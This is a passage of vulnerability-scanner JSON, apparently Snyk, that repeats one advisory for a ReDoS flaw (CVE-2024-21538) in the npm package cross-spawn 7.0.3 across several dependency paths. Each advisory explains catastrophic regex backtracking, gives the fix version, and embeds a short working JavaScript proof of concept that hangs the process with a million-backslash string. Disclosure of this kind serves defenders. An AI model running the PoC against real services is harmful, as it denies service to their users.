dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are 